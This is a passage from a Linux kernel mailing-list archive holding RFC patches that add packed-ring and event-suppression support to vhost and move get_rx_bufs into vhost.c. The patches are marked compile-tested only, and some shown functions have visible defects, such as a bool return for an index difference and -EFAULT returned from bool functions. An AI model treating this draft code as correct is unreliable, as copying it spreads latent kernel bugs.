+ struct iovec iov[], unsigned int iov_size,
+ unsigned int *out_num, unsigned int *in_num,
+ struct vhost_log *log,
+ unsigned int *log_num)
+{
+ struct vring_desc_packed desc;
+ int ret, access, i;
+
+ /* When we start there are none of either input nor output. */
+ *out_num = *in_num = 0;
+ if (unlikely(log))
+ *log_num = 0;
+
+ used->count = 0;
+
+ do {
+ struct vring_desc_packed *d = vq->desc_packed +
+ vq->last_avail_idx;
+ unsigned int iov_count = *in_num + *out_num;
+
+ ret = vhost_get_user(vq, desc.flags, &d->flags,
+ VHOST_ADDR_DESC);
+ if (unlikely(ret)) {
+ vq_err(vq, "Failed to get flags: idx %d addr %p\n",
+ vq->last_avail_idx, &d->flags);
+ return -EFAULT;
+ }
+
+ if (!desc_is_avail(vq, desc.flags)) {
+ /* If there's nothing new since last we looked, return
+ * invalid.
+ */
+ if (!used->count)
+ return -ENOSPC;
+ break;
+ }
+
+ /* Read desc content after we're sure it was available. */
+ smp_rmb();
+
+ ret = vhost_copy_from_user(vq, &desc, d, sizeof(desc));
+ if (unlikely(ret)) {
+ vq_err(vq, "Failed to get descriptor: idx %d addr %p\n",
+ vq->last_avail_idx, d);
+ return -EFAULT;
+ }
+
+ if (used->count == 0)
+ used->elem.id = desc.id;
+
+ if (desc.flags & cpu_to_vhost16(vq, VRING_DESC_F_INDIRECT)) {
+ ret = get_indirect_packed(vq, iov, iov_size,
+ out_num, in_num, log,
+ log_num, &desc);
+ if (unlikely(ret < 0)) {
+ if (ret != -EAGAIN)
+ vq_err(vq, "Failure detected "
+ "in indirect descriptor "
+ "at idx %d\n", i);
+ return ret;
+ }
+ goto next;
+ }
+
+ if (desc.flags & cpu_to_vhost16(vq, VRING_DESC_F_WRITE))
+ access = VHOST_ACCESS_WO;
+ else
+ access = VHOST_ACCESS_RO;
+ ret = translate_desc(vq, vhost64_to_cpu(vq, desc.addr),
+ vhost32_to_cpu(vq, desc.len),
+ iov + iov_count, iov_size - iov_count,
+ access);
+ if (unlikely(ret < 0)) {
+ if (ret != -EAGAIN)
+ vq_err(vq, "Translation failure %d idx %d\n",
+ ret, i);
+ return ret;
+ }
+
+ if (access == VHOST_ACCESS_WO) {
+ /* If this is an input descriptor,
+ * increment that count.
+ */
+ *in_num += ret;
+ if (unlikely(log)) {
+ log[*log_num].addr =
+ vhost64_to_cpu(vq, desc.addr);
+ log[*log_num].len =
+ vhost32_to_cpu(vq, desc.len);
+ ++*log_num;
+ }
+ } else {
+ /* If it's an output descriptor, they're all supposed
+ * to come before any input descriptors.
+ */
+ if (unlikely(*in_num)) {
+ vq_err(vq, "Desc out after in: idx %d\n",
+ i);
+ return -EINVAL;
+ }
+ *out_num += ret;
+ }
+
+next:
+ if (unlikely(++used->count > vq->num)) {
+ vq_err(vq, "Loop detected: last one at %u "
+ "vq size %u head %u\n",
+ i, vq->num, used->elem.id);
+ return -EINVAL;
+ }
+ if (++vq->last_avail_idx >= vq->num)
+ vq->last_avail_idx = 0;
+ /* If this descriptor says it doesn't chain, we're done. */
+ } while (next_desc_packed(vq, &desc));
+
+ return 0;
+}
+
+static int vhost_get_vq_desc_split(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *used,
+ struct iovec iov[], unsigned int iov_size,
+ unsigned int *out_num, unsigned int *in_num,
+ struct vhost_log *log, unsigned int *log_num)
{
struct vring_desc desc;
unsigned int i, head, found = 0;
@@ -2044,9 +2329,9 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
return -EFAULT;
}
if (desc.flags & cpu_to_vhost16(vq, VRING_DESC_F_INDIRECT)) {
- ret = get_indirect(vq, iov, iov_size,
- out_num, in_num,
- log, log_num, &desc);
+ ret = get_indirect_split(vq, iov, iov_size,
+ out_num, in_num,
+ log, log_num, &desc);
if (unlikely(ret < 0)) {
if (ret != -EAGAIN)
vq_err(vq, "Failure detected "
@@ -2088,7 +2373,7 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
}
*out_num += ret;
}
- } while ((i = next_desc(vq, &desc)) != -1);
+ } while ((i = next_desc_split(vq, &desc)) != -1);
/* On success, increment avail index. */
vq->last_avail_idx++;
@@ -2098,6 +2383,31 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
BUG_ON(!(vq->used_flags & VRING_USED_F_NO_NOTIFY));
return 0;
}
+
+/* This looks in the virtqueue and for the first available buffer, and converts
+ * it to an iovec for convenient access. Since descriptors consist of some
+ * number of output then some number of input descriptors, it's actually two
+ * iovecs, but we pack them into one and note how many of each there were.
+ *
+ * This function returns the descriptor number found, or vq->num (which is
+ * never a valid descriptor number) if none was found. A negative code is
+ * returned on error.
+ */
+int vhost_get_vq_desc(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *used,
+ struct iovec iov[], unsigned int iov_size,
+ unsigned int *out_num, unsigned int *in_num,
+ struct vhost_log *log, unsigned int *log_num)
+{
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vhost_get_vq_desc_packed(vq, used, iov, iov_size,
+ out_num, in_num,
+ log, log_num);
+ else
+ return vhost_get_vq_desc_split(vq, used, iov, iov_size,
+ out_num, in_num,
+ log, log_num);
+}
EXPORT_SYMBOL_GPL(vhost_get_vq_desc);
void vhost_set_used_len(struct vhost_virtqueue *vq,
@@ -2248,10 +2558,69 @@ static int __vhost_add_used_n(struct vhost_virtqueue *vq,
return 0;
}
+static int vhost_add_used_n_packed(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *heads,
+ unsigned int count)
+{
+ struct vring_desc_packed __user *desc;
+ int i, ret;
+
+ for (i = 0; i < count; i++) {
+ desc = vq->desc_packed + vq->last_used_idx;
+
+ ret = vhost_put_user(vq, heads[i].elem.id, &desc->id,
+ VHOST_ADDR_DESC);
+ if (unlikely(ret)) {
+ vq_err(vq, "Failed to update id: idx %d addr %p\n",
+ vq->last_used_idx, desc);
+ return -EFAULT;
+ }
+ ret = vhost_put_user(vq, heads[i].elem.len, &desc->len,
+ VHOST_ADDR_DESC);
+ if (unlikely(ret)) {
+ vq_err(vq, "Failed to update len: idx %d addr %p\n",
+ vq->last_used_idx, desc);
+ return -EFAULT;
+ }
+
+ /* Update flags after descriptor id and len is wrote,
+ * TODO: Update head flags at last for saving barriers */
+ smp_wmb();
+
+ ret = vhost_put_user(vq, get_desc_flags(vq), &desc->flags,
+ VHOST_ADDR_DESC);
+ if (unlikely(ret)) {
+ vq_err(vq, "Failed to update flags: idx %d addr %p\n",
+ vq->last_used_idx, desc);
+ return -EFAULT;
+ }
+
+ if (unlikely(vq->log_used)) {
+ /* Make sure desc is written before update log. */
+ smp_wmb();
+ log_write(vq->log_base, vq->log_addr +
+ vq->last_used_idx * sizeof(*desc),
+ sizeof(*desc));
+ if (vq->log_ctx)
+ eventfd_signal(vq->log_ctx, 1);
+ }
+
+ vq->last_used_idx += heads[i].count;
+ if (vq->last_used_idx >= vq->num) {
+ vq->used_wrap_counter ^= 1;
+ vq->last_used_idx -= vq->num;
+ }
+ }
+
+ return 0;
+}
+
/* After we've used one of their buffers, we tell them about it. We'll then
* want to notify the guest, using eventfd. */
-int vhost_add_used_n(struct vhost_virtqueue *vq, struct vhost_used_elem *heads,
- unsigned count)
+static int vhost_add_used_n_split(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *heads,
+ unsigned count)
+
{
int start, n, r;
@@ -2283,6 +2652,19 @@ int vhost_add_used_n(struct vhost_virtqueue *vq, struct vhost_used_elem *heads,
}
return r;
}
+
+/* After we've used one of their buffers, we tell them about it. We'll then
+ * want to notify the guest, using eventfd.
+ */
+int vhost_add_used_n(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *heads,
+ unsigned int count)
+{
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vhost_add_used_n_packed(vq, heads, count);
+ else
+ return vhost_add_used_n_split(vq, heads, count);
+}
EXPORT_SYMBOL_GPL(vhost_add_used_n);
static bool vhost_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
@@ -2290,6 +2672,11 @@ static bool vhost_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
__u16 old, new;
__virtio16 event;
bool v;
+
+ /* FIXME: check driver area */
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return false;
+
/* Flush out used index updates. This is paired
* with the barrier that the Guest executes when enabling
* interrupts. */
@@ -2352,7 +2739,8 @@ void vhost_add_used_and_signal_n(struct vhost_dev *dev,
EXPORT_SYMBOL_GPL(vhost_add_used_and_signal_n);
/* return true if we're sure that avaiable ring is empty */
-bool vhost_vq_avail_empty(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+static bool vhost_vq_avail_empty_split(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
{
__virtio16 avail_idx;
int r;
@@ -2367,10 +2755,58 @@ bool vhost_vq_avail_empty(struct vhost_dev *dev, struct vhost_virtqueue *vq)
return vq->avail_idx == vq->last_avail_idx;
}
+
+static bool vhost_vq_avail_empty_packed(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
+{
+ struct vring_desc_packed *d = vq->desc_packed + vq->last_avail_idx;
+ __virtio16 flags;
+ int ret;
+
+ ret = vhost_get_user(vq, flags, &d->flags, VHOST_ADDR_DESC);
+ if (unlikely(ret)) {
+ vq_err(vq, "Failed to get flags: idx %d addr %p\n",
+ vq->last_avail_idx, d);
+ return -EFAULT;
+ }
+
+ return desc_is_avail(vq, flags);
+}
+
+bool vhost_vq_avail_empty(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+{
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vhost_vq_avail_empty_packed(dev, vq);
+ else
+ return vhost_vq_avail_empty_split(dev, vq);
+}
EXPORT_SYMBOL_GPL(vhost_vq_avail_empty);
-/* OK, now we need to know about added descriptors. */
-bool vhost_enable_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+static bool vhost_enable_notify_packed(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
+{
+ struct vring_desc_packed *d = vq->desc_packed + vq->last_avail_idx;
+ __virtio16 flags;
+ int ret;
+
+ /* FIXME: disable notification through device area */
+
+ /* They could have slipped one in as we were doing that: make
+ * sure it's written, then check again. */
+ smp_mb();
+
+ ret = vhost_get_user(vq, flags, &d->flags, VHOST_ADDR_DESC);
+ if (unlikely(ret)) {
+ vq_err(vq, "Failed to get descriptor: idx %d addr %p\n",
+ vq->last_avail_idx, &d->flags);
+ return -EFAULT;
+ }
+
+ return desc_is_avail(vq, flags);
+}
+
+static bool vhost_enable_notify_split(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
{
__virtio16 avail_idx;
int r;
@@ -2405,10 +2841,25 @@ bool vhost_enable_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
return vhost16_to_cpu(vq, avail_idx) != vq->avail_idx;
}
+
+/* OK, now we need to know about added descriptors. */
+bool vhost_enable_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+{
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vhost_enable_notify_packed(dev, vq);
+ else
+ return vhost_enable_notify_split(dev, vq);
+}
EXPORT_SYMBOL_GPL(vhost_enable_notify);
-/* We don't need to be notified again. */
-void vhost_disable_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+static void vhost_disable_notify_packed(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
+{
+ /* FIXME: disable notification through device area */
+}
+
+static void vhost_disable_notify_split(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
{
int r;
@@ -2422,6 +2873,15 @@ void vhost_disable_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
&vq->used->flags, r);
}
}
+
+/* We don't need to be notified again. */
+void vhost_disable_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+{
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vhost_disable_notify_packed(dev, vq);
+ else
+ return vhost_disable_notify_split(dev, vq);
+}
EXPORT_SYMBOL_GPL(vhost_disable_notify);
/* Create a new message. */
diff --git a/drivers/vhost/vhost.h b/drivers/vhost/vhost.h
index d57c875..8a9df4f 100644
--- a/drivers/vhost/vhost.h
+++ b/drivers/vhost/vhost.h
@@ -36,6 +36,7 @@ struct vhost_poll {
struct vhost_used_elem {
struct vring_used_elem elem;
+ int count;
};
void vhost_work_init(struct vhost_work *work, vhost_work_fn_t fn);
@@ -91,7 +92,10 @@ struct vhost_virtqueue {
/* The actual ring of buffers. */
struct mutex mutex;
unsigned int num;
- struct vring_desc __user *desc;
+ union {
+ struct vring_desc __user *desc;
+ struct vring_desc_packed __user *desc_packed;
+ };
struct vring_avail __user *avail;
struct vring_used __user *used;
const struct vhost_umem_node *meta_iotlb[VHOST_NUM_ADDRS];
@@ -148,6 +152,7 @@ struct vhost_virtqueue {
bool user_be;
#endif
u32 busyloop_timeout;
+ bool used_wrap_counter;
};
struct vhost_msg_node {
--
2.7.4
^ permalink raw reply related
* [RFC PATCH V2 8/8] vhost: event suppression for packed ring
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
This patch introduces basic support for event suppression aka driver
and device area. Compile tested only.
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/vhost.c | 169 ++++++++++++++++++++++++++++++++++++---
drivers/vhost/vhost.h | 10 ++-
include/uapi/linux/virtio_ring.h | 19 +++++
3 files changed, 183 insertions(+), 15 deletions(-)
diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index 6177e4d..ff83a2e 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -1143,10 +1143,15 @@ static int vq_access_ok_packed(struct vhost_virtqueue *vq, unsigned int num,
struct vring_used __user *used)
{
struct vring_desc_packed *packed = (struct vring_desc_packed *)desc;
+ struct vring_packed_desc_event *driver_event =
+ (struct vring_packed_desc_event *)avail;
+ struct vring_packed_desc_event *device_event =
+ (struct vring_packed_desc_event *)used;
- /* FIXME: check device area and driver area */
return access_ok(VERIFY_READ, packed, num * sizeof(*packed)) &&
- access_ok(VERIFY_WRITE, packed, num * sizeof(*packed));
+ access_ok(VERIFY_WRITE, packed, num * sizeof(*packed)) &&
+ access_ok(VERIFY_READ, driver_event, sizeof(*driver_event)) &&
+ access_ok(VERIFY_WRITE, device_event, sizeof(*device_event));
}
static int vq_access_ok_split(struct vhost_virtqueue *vq, unsigned int num,
@@ -1222,14 +1227,27 @@ static int iotlb_access_ok(struct vhost_virtqueue *vq,
return true;
}
-int vq_iotlb_prefetch(struct vhost_virtqueue *vq)
+int vq_iotlb_prefetch_packed(struct vhost_virtqueue *vq)
+{
+ int num = vq->num;
+
+ return iotlb_access_ok(vq, VHOST_ACCESS_RO, (u64)(uintptr_t)vq->desc,
+ num * sizeof(*vq->desc), VHOST_ADDR_DESC) &&
+ iotlb_access_ok(vq, VHOST_ACCESS_WO, (u64)(uintptr_t)vq->desc,
+ num * sizeof(*vq->desc), VHOST_ADDR_DESC) &&
+ iotlb_access_ok(vq, VHOST_ACCESS_RO,
+ (u64)(uintptr_t)vq->driver_event,
+ sizeof(*vq->driver_event), VHOST_ADDR_AVAIL) &&
+ iotlb_access_ok(vq, VHOST_ACCESS_WO,
+ (u64)(uintptr_t)vq->device_event,
+ sizeof(*vq->device_event), VHOST_ADDR_USED);
+}
+
+int vq_iotlb_prefetch_split(struct vhost_virtqueue *vq)
{
size_t s = vhost_has_feature(vq, VIRTIO_RING_F_EVENT_IDX) ? 2 : 0;
unsigned int num = vq->num;
- if (!vq->iotlb)
- return 1;
-
return iotlb_access_ok(vq, VHOST_ACCESS_RO, (u64)(uintptr_t)vq->desc,
num * sizeof(*vq->desc), VHOST_ADDR_DESC) &&
iotlb_access_ok(vq, VHOST_ACCESS_RO, (u64)(uintptr_t)vq->avail,
@@ -1241,6 +1259,17 @@ int vq_iotlb_prefetch(struct vhost_virtqueue *vq)
num * sizeof(*vq->used->ring) + s,
VHOST_ADDR_USED);
}
+
+int vq_iotlb_prefetch(struct vhost_virtqueue *vq)
+{
+ if (!vq->iotlb)
+ return 1;
+
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vq_iotlb_prefetch_packed(vq);
+ else
+ return vq_iotlb_prefetch_split(vq);
+}
EXPORT_SYMBOL_GPL(vq_iotlb_prefetch);
/* Can we log writes? */
@@ -1756,6 +1785,29 @@ static int vhost_update_used_flags(struct vhost_virtqueue *vq)
return 0;
}
+static int vhost_update_device_flags(struct vhost_virtqueue *vq,
+ __virtio16 device_flags)
+{
+ void __user *flags;
+
+ if (vhost_put_user(vq, cpu_to_vhost16(vq, device_flags),
+ &vq->device_event->desc_event_flags,
+ VHOST_ADDR_DESC) < 0)
+ return -EFAULT;
+ if (unlikely(vq->log_used)) {
+ /* Make sure the flag is seen before log. */
+ smp_wmb();
+ /* Log used flag write. */
+ flags = &vq->device_event->desc_event_flags;
+ log_write(vq->log_base, vq->log_addr +
+ (flags - (void __user *)vq->device_event),
+ sizeof(vq->used->flags));
+ if (vq->log_ctx)
+ eventfd_signal(vq->log_ctx, 1);
+ }
+ return 0;
+}
+
static int vhost_update_avail_event(struct vhost_virtqueue *vq, u16 avail_event)
{
if (vhost_put_user(vq, cpu_to_vhost16(vq, vq->avail_idx),
@@ -2667,16 +2719,13 @@ int vhost_add_used_n(struct vhost_virtqueue *vq,
}
EXPORT_SYMBOL_GPL(vhost_add_used_n);
-static bool vhost_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+static bool vhost_notify_split(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
{
__u16 old, new;
__virtio16 event;
bool v;
- /* FIXME: check driver area */
- if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
- return false;
-
/* Flush out used index updates. This is paired
* with the barrier that the Guest executes when enabling
* interrupts. */
@@ -2709,6 +2758,79 @@ static bool vhost_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
return vring_need_event(vhost16_to_cpu(vq, event), new, old);
}
+static bool vhost_idx_diff(struct vhost_virtqueue *vq, u16 old, u16 new)
+{
+ if (new > old)
+ return new - old;
+ return (new + vq->num - old);
+}
+
+static bool vhost_vring_packed_need_event(struct vhost_virtqueue *vq,
+ __u16 event_off, __u16 new,
+ __u16 old)
+{
+ return (__u16)(vhost_idx_diff(vq, new, event_off) - 1) <
+ (__u16)vhost_idx_diff(vq, new, old);
+}
+
+static bool vhost_notify_packed(struct vhost_dev *dev,
+ struct vhost_virtqueue *vq)
+{
+ __virtio16 event_off_wrap, event_flags;
+ __u16 old, new;
+ bool v, wrap;
+ int off;
+
+ /* Flush out used descriptors updates. This is paired
+ * with the barrier that the Guest executes when enabling
+ * interrupts.
+ */
+ smp_mb();
+
+ if (vhost_get_avail(vq, event_flags,
+ &vq->driver_event->desc_event_flags) < 0) {
+ vq_err(vq, "Failed to get driver desc_event_flags");
+ return true;
+ }
+
+ if (!(event_flags & cpu_to_vhost16(vq, RING_EVENT_FLAGS_DESC)))
+ return event_flags ==
+ cpu_to_vhost16(vq, RING_EVENT_FLAGS_ENABLE);
+
+ /* Read desc event flags before event_off and event_wrap */
+ smp_rmb();
+
+ if (vhost_get_avail(vq, event_off_wrap,
+ &vq->driver_event->desc_event_off_warp) < 0) {
+ vq_err(vq, "Failed to get driver desc_event_off/wrap");
+ return true;
+ }
+
+ off = vhost16_to_cpu(vq, event_off_wrap);
+
+ wrap = off & 0x1;
+ off >>= 1;
+
+ old = vq->signalled_used;
+ v = vq->signalled_used_valid;
+ new = vq->signalled_used = vq->last_used_idx;
+ vq->signalled_used_valid = true;
+
+ if (unlikely(!v))
+ return true;
+
+ return vhost_vring_packed_need_event(vq, new, old, off) &&
+ wrap == vq->used_wrap_counter;
+}
+
+static bool vhost_notify(struct vhost_dev *dev, struct vhost_virtqueue *vq)
+{
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vhost_notify_packed(dev, vq);
+ else
+ return vhost_notify_split(dev, vq);
+}
+
/* This actually signals the guest, using eventfd. */
void vhost_signal(struct vhost_dev *dev, struct vhost_virtqueue *vq)
{
@@ -2789,7 +2911,17 @@ static bool vhost_enable_notify_packed(struct vhost_dev *dev,
__virtio16 flags;
int ret;
- /* FIXME: disable notification through device area */
+ if (!(vq->used_flags & VRING_USED_F_NO_NOTIFY))
+ return false;
+ vq->used_flags &= ~VRING_USED_F_NO_NOTIFY;
+
+ flags = cpu_to_vhost16(vq, RING_EVENT_FLAGS_ENABLE);
+ ret = vhost_update_device_flags(vq, flags);
+ if (ret) {
+ vq_err(vq, "Failed to enable notification at %p: %d\n",
+ &vq->device_event->desc_event_flags, ret);
+ return false;
+ }
/* They could have slipped one in as we were doing that: make
* sure it's written, then check again. */
@@ -2855,7 +2987,18 @@ EXPORT_SYMBOL_GPL(vhost_enable_notify);
static void vhost_disable_notify_packed(struct vhost_dev *dev,
struct vhost_virtqueue *vq)
{
- /* FIXME: disable notification through device area */
+ __virtio16 flags;
+ int r;
+
+ if (vq->used_flags & VRING_USED_F_NO_NOTIFY)
+ return;
+ vq->used_flags |= VRING_USED_F_NO_NOTIFY;
+
+ flags = cpu_to_vhost16(vq, RING_EVENT_FLAGS_DISABLE);
+ r = vhost_update_device_flags(vq, flags);
+ if (r)
+ vq_err(vq, "Failed to enable notification at %p: %d\n",
+ &vq->device_event->desc_event_flags, r);
}
static void vhost_disable_notify_split(struct vhost_dev *dev,
diff --git a/drivers/vhost/vhost.h b/drivers/vhost/vhost.h
index 8a9df4f..02d7a36 100644
--- a/drivers/vhost/vhost.h
+++ b/drivers/vhost/vhost.h
@@ -96,8 +96,14 @@ struct vhost_virtqueue {
struct vring_desc __user *desc;
struct vring_desc_packed __user *desc_packed;
};
- struct vring_avail __user *avail;
- struct vring_used __user *used;
+ union {
+ struct vring_avail __user *avail;
+ struct vring_packed_desc_event __user *driver_event;
+ };
+ union {
+ struct vring_used __user *used;
+ struct vring_packed_desc_event __user *device_event;
+ };
const struct vhost_umem_node *meta_iotlb[VHOST_NUM_ADDRS];
struct file *kick;
struct eventfd_ctx *call_ctx;
diff --git a/include/uapi/linux/virtio_ring.h b/include/uapi/linux/virtio_ring.h
index e297580..7cdbf06 100644
--- a/include/uapi/linux/virtio_ring.h
+++ b/include/uapi/linux/virtio_ring.h
@@ -75,6 +75,25 @@ struct vring_desc_packed {
__virtio16 flags;
};
+/* Enable events */
+#define RING_EVENT_FLAGS_ENABLE 0x0
+/* Disable events */
+#define RING_EVENT_FLAGS_DISABLE 0x1
+/*
+ * Enable events for a specific descriptor
+ * (as specified by Descriptor Ring Change Event Offset/Wrap Counter).
+ * Only valid if VIRTIO_F_RING_EVENT_IDX has been negotiated.
+ */
+#define RING_EVENT_FLAGS_DESC 0x2
+/* The value 0x3 is reserved */
+
+struct vring_packed_desc_event {
+ /* Descriptor Ring Change Event Offset and Wrap Counter */
+ __virtio16 desc_event_off_warp;
+ /* Descriptor Ring Change Event Flags */
+ __virtio16 desc_event_flags;
+};
+
/* Virtio ring descriptors: 16 bytes. These can chain together via "next". */
struct vring_desc {
/* Address (guest-physical). */
--
2.7.4
^ permalink raw reply related
* [RFC PATCH V2 1/8] vhost: move get_rx_bufs to vhost.c
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
Move get_rx_bufs() to vhost.c and rename it to
vhost_get_rx_bufs(). This helps to hide vring internal layout from
specific device implementation. Packed ring implementation will
benefit from this.
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/net.c | 83 ++-------------------------------------------------
drivers/vhost/vhost.c | 78 +++++++++++++++++++++++++++++++++++++++++++++++
drivers/vhost/vhost.h | 7 +++++
3 files changed, 88 insertions(+), 80 deletions(-)
diff --git a/drivers/vhost/net.c b/drivers/vhost/net.c
index 8139bc7..57dfa63 100644
--- a/drivers/vhost/net.c
+++ b/drivers/vhost/net.c
@@ -658,83 +658,6 @@ static int vhost_net_rx_peek_head_len(struct vhost_net *net, struct sock *sk)
return len;
}
-/* This is a multi-buffer version of vhost_get_desc, that works if
- * vq has read descriptors only.
- * @vq - the relevant virtqueue
- * @datalen - data length we'll be reading
- * @iovcount - returned count of io vectors we fill
- * @log - vhost log
- * @log_num - log offset
- * @quota - headcount quota, 1 for big buffer
- * returns number of buffer heads allocated, negative on error
- */
-static int get_rx_bufs(struct vhost_virtqueue *vq,
- struct vring_used_elem *heads,
- int datalen,
- unsigned *iovcount,
- struct vhost_log *log,
- unsigned *log_num,
- unsigned int quota)
-{
- unsigned int out, in;
- int seg = 0;
- int headcount = 0;
- unsigned d;
- int r, nlogs = 0;
- /* len is always initialized before use since we are always called with
- * datalen > 0.
- */
- u32 uninitialized_var(len);
-
- while (datalen > 0 && headcount < quota) {
- if (unlikely(seg >= UIO_MAXIOV)) {
- r = -ENOBUFS;
- goto err;
- }
- r = vhost_get_vq_desc(vq, vq->iov + seg,
- ARRAY_SIZE(vq->iov) - seg, &out,
- &in, log, log_num);
- if (unlikely(r < 0))
- goto err;
-
- d = r;
- if (d == vq->num) {
- r = 0;
- goto err;
- }
- if (unlikely(out || in <= 0)) {
- vq_err(vq, "unexpected descriptor format for RX: "
- "out %d, in %d\n", out, in);
- r = -EINVAL;
- goto err;
- }
- if (unlikely(log)) {
- nlogs += *log_num;
- log += *log_num;
- }
- heads[headcount].id = cpu_to_vhost32(vq, d);
- len = iov_length(vq->iov + seg, in);
- heads[headcount].len = cpu_to_vhost32(vq, len);
- datalen -= len;
- ++headcount;
- seg += in;
- }
- heads[headcount - 1].len = cpu_to_vhost32(vq, len + datalen);
- *iovcount = seg;
- if (unlikely(log))
- *log_num = nlogs;
-
- /* Detect overrun */
- if (unlikely(datalen > 0)) {
- r = UIO_MAXIOV + 1;
- goto err;
- }
- return headcount;
-err:
- vhost_discard_vq_desc(vq, headcount);
- return r;
-}
-
/* Expects to be always run from workqueue - which acts as
* read-size critical section for our kind of RCU. */
static void handle_rx(struct vhost_net *net)
@@ -784,9 +707,9 @@ static void handle_rx(struct vhost_net *net)
while ((sock_len = vhost_net_rx_peek_head_len(net, sock->sk))) {
sock_len += sock_hlen;
vhost_len = sock_len + vhost_hlen;
- headcount = get_rx_bufs(vq, vq->heads + nheads, vhost_len,
- &in, vq_log, &log,
- likely(mergeable) ? UIO_MAXIOV : 1);
+ headcount = vhost_get_bufs(vq, vq->heads + nheads, vhost_len,
+ &in, vq_log, &log,
+ likely(mergeable) ? UIO_MAXIOV : 1);
/* On error, stop handling until the next kick. */
if (unlikely(headcount < 0))
goto out;
diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index 1b3e8d2d..c57df71 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -2098,6 +2098,84 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
}
EXPORT_SYMBOL_GPL(vhost_get_vq_desc);
+/* This is a multi-buffer version of vhost_get_desc, that works if
+ * vq has read descriptors only.
+ * @vq - the relevant virtqueue
+ * @datalen - data length we'll be reading
+ * @iovcount - returned count of io vectors we fill
+ * @log - vhost log
+ * @log_num - log offset
+ * @quota - headcount quota, 1 for big buffer
+ * returns number of buffer heads allocated, negative on error
+ */
+int vhost_get_bufs(struct vhost_virtqueue *vq,
+ struct vring_used_elem *heads,
+ int datalen,
+ unsigned *iovcount,
+ struct vhost_log *log,
+ unsigned *log_num,
+ unsigned int quota)
+{
+ unsigned int out, in;
+ int seg = 0;
+ int headcount = 0;
+ unsigned d;
+ int r, nlogs = 0;
+ /* len is always initialized before use since we are always called with
+ * datalen > 0.
+ */
+ u32 uninitialized_var(len);
+
+ while (datalen > 0 && headcount < quota) {
+ if (unlikely(seg >= UIO_MAXIOV)) {
+ r = -ENOBUFS;
+ goto err;
+ }
+ r = vhost_get_vq_desc(vq, vq->iov + seg,
+ ARRAY_SIZE(vq->iov) - seg, &out,
+ &in, log, log_num);
+ if (unlikely(r < 0))
+ goto err;
+
+ d = r;
+ if (d == vq->num) {
+ r = 0;
+ goto err;
+ }
+ if (unlikely(out || in <= 0)) {
+ vq_err(vq, "unexpected descriptor format for RX: "
+ "out %d, in %d\n", out, in);
+ r = -EINVAL;
+ goto err;
+ }
+ if (unlikely(log)) {
+ nlogs += *log_num;
+ log += *log_num;
+ }
+ heads[headcount].id = cpu_to_vhost32(vq, d);
+ len = iov_length(vq->iov + seg, in);
+ heads[headcount].len = cpu_to_vhost32(vq, len);
+ datalen -= len;
+ ++headcount;
+ seg += in;
+ }
+ heads[headcount - 1].len = cpu_to_vhost32(vq, len + datalen);
+ *iovcount = seg;
+ if (unlikely(log))
+ *log_num = nlogs;
+
+ /* Detect overrun */
+ if (unlikely(datalen > 0)) {
+ r = UIO_MAXIOV + 1;
+ goto err;
+ }
+ return headcount;
+err:
+ vhost_discard_vq_desc(vq, headcount);
+ return r;
+}
+EXPORT_SYMBOL_GPL(vhost_get_bufs);
+
/* Reverse the effect of vhost_get_vq_desc. Useful for error handling. */
void vhost_discard_vq_desc(struct vhost_virtqueue *vq, int n)
{
diff --git a/drivers/vhost/vhost.h b/drivers/vhost/vhost.h
index ac4b605..cbc2c80 100644
--- a/drivers/vhost/vhost.h
+++ b/drivers/vhost/vhost.h
@@ -185,6 +185,13 @@ int vhost_get_vq_desc(struct vhost_virtqueue *,
struct iovec iov[], unsigned int iov_count,
unsigned int *out_num, unsigned int *in_num,
